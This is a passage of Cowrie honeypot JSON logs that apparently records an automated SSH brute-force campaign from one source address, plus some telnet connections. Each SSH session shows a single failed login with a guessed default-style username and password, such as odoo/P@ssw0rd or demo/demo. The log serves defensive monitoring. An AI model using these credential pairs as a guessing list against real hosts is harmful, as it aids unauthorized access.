a-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:03.110869Z","src_ip":"141.11.88.14","session":"6c5e59942cfc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"admin","message":"login attempt [frappe/admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:04.149958Z","src_ip":"141.11.88.14","session":"6c5e59942cfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:05.237563Z","src_ip":"141.11.88.14","session":"6c5e59942cfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":42648,"dst_ip":"10.17.0.5","dst_port":22,"session":"deccabdfcdbd","protocol":"ssh","message":"New connection: 141.11.88.14:42648 (10.17.0.5:22) [session: deccabdfcdbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:10.304535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:10.420206Z","src_ip":"141.11.88.14","session":"deccabdfcdbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:10.423512Z","src_ip":"141.11.88.14","session":"deccabdfcdbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"danny","password":"danny123","message":"login attempt [danny/danny123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:11.598734Z","src_ip":"141.11.88.14","session":"deccabdfcdbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:12.753306Z","src_ip":"141.11.88.14","session":"deccabdfcdbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":42782,"dst_ip":"10.17.0.5","dst_port":22,"session":"621d5a98306a","protocol":"ssh","message":"New connection: 141.11.88.14:42782 (10.17.0.5:22) [session: 621d5a98306a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:17.474540Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:17.603653Z","src_ip":"141.11.88.14","session":"621d5a98306a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:17.614669Z","src_ip":"141.11.88.14","session":"621d5a98306a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"farmacia","password":"farmacia","message":"login attempt [farmacia/farmacia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:18.860554Z","src_ip":"141.11.88.14","session":"621d5a98306a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":57132,"dst_ip":"10.17.0.5","dst_port":23,"session":"0de2dda0c8f9","protocol":"telnet","message":"New connection: 94.23.66.112:57132 (10.17.0.5:23) [session: 0de2dda0c8f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:18.899936Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:19.951952Z","src_ip":"141.11.88.14","session":"621d5a98306a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":15986,"dst_ip":"10.17.0.5","dst_port":22,"session":"c25fb1fb9bfb","protocol":"ssh","message":"New connection: 141.11.88.14:15986 (10.17.0.5:22) [session: c25fb1fb9bfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:23.710822Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:24.042317Z","src_ip":"141.11.88.14","session":"c25fb1fb9bfb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:24.045754Z","src_ip":"141.11.88.14","session":"c25fb1fb9bfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amine","password":"amine","message":"login attempt [amine/amine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:25.133609Z","src_ip":"141.11.88.14","session":"c25fb1fb9bfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":58674,"dst_ip":"10.17.0.5","dst_port":23,"session":"4978dc4b3a96","protocol":"telnet","message":"New connection: 94.23.66.112:58674 (10.17.0.5:23) [session: 4978dc4b3a96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:26.058910Z"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:26.271883Z","src_ip":"141.11.88.14","session":"c25fb1fb9bfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":37250,"dst_ip":"10.17.0.5","dst_port":22,"session":"b83b466e76c4","protocol":"ssh","message":"New connection: 141.11.88.14:37250 (10.17.0.5:22) [session: b83b466e76c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:31.139396Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:31.174965Z","src_ip":"141.11.88.14","session":"b83b466e76c4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:31.269122Z","src_ip":"141.11.88.14","session":"b83b466e76c4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"demo","password":"demo","message":"login attempt [demo/demo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:31.581022Z","src_ip":"141.11.88.14","session":"b83b466e76c4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:32.681801Z","src_ip":"141.11.88.14","session":"b83b466e76c4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":48074,"dst_ip":"10.17.0.5","dst_port":22,"session":"8718c5688863","protocol":"ssh","message":"New connection: 141.11.88.14:48074 (10.17.0.5:22) [session: 8718c5688863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:40.297570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:40.300384Z","src_ip":"141.11.88.14","session":"8718c5688863","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:40.382144Z","src_ip":"141.11.88.14","session":"8718c5688863","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"P@ssw0rd","message":"login attempt [odoo/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:40.630740Z","src_ip":"141.11.88.14","session":"8718c5688863","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:41.741282Z","src_ip":"141.11.88.14","session":"8718c5688863","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":58114,"dst_ip":"10.17.0.5","dst_port":22,"session":"04c5adeef250","protocol":"ssh","message":"New connection: 141.11.88.14:58114 (10.17.0.5:22) [session: 04c5adeef250]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:49.221497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:49.290706Z","src_ip":"141.11.88.14","session":"04c5adeef250","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:49.397249Z","src_ip":"141.11.88.14","session":"04c5adeef250","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alfred","password":"alfred","message":"login attempt [alfred/alfred] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:50.084987Z","src_ip":"141.11.88.14","session":"04c5adeef250","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:51.210853Z","src_ip":"141.11.88.14","session":"04c5adeef250","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":37374,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b21c6600ff9","protocol":"telnet","message":"New connection: 128.199.8.54:37374 (159.203.135.109:23) [session: 3b21c6600ff9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:51.312327Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":58184,"dst_ip":"10.17.0.5","dst_port":22,"session":"8eeab6994a01","protocol":"ssh","message":"New connection: 141.11.88.14:58184 (10.17.0.5:22) [session: 8eeab6994a01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:57.021969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:57.178835Z","src_ip":"141.11.88.14","session":"8eeab6994a01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:57.181906Z","src_ip":"141.11.88.14","session":"8eeab6994a01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"composer","password":"composer","message":"login attempt [composer/composer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:58.017520Z","src_ip":"141.11.88.14","session":"8eeab6994a01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:40:59.120016Z","src_ip":"141.11.88.14","session":"8eeab6994a01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.7483696937561,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:04.807155Z","src_ip":"94.23.66.112","session":"4978dc4b3a96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":33292,"dst_ip":"10.17.0.5","dst_port":22,"session":"c18924ab78bb","protocol":"ssh","message":"New connection: 141.11.88.14:33292 (10.17.0.5:22) [session: c18924ab78bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:05.571170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:41:05.784908Z","src_ip":"141.11.88.14","session":"c18924ab78bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ec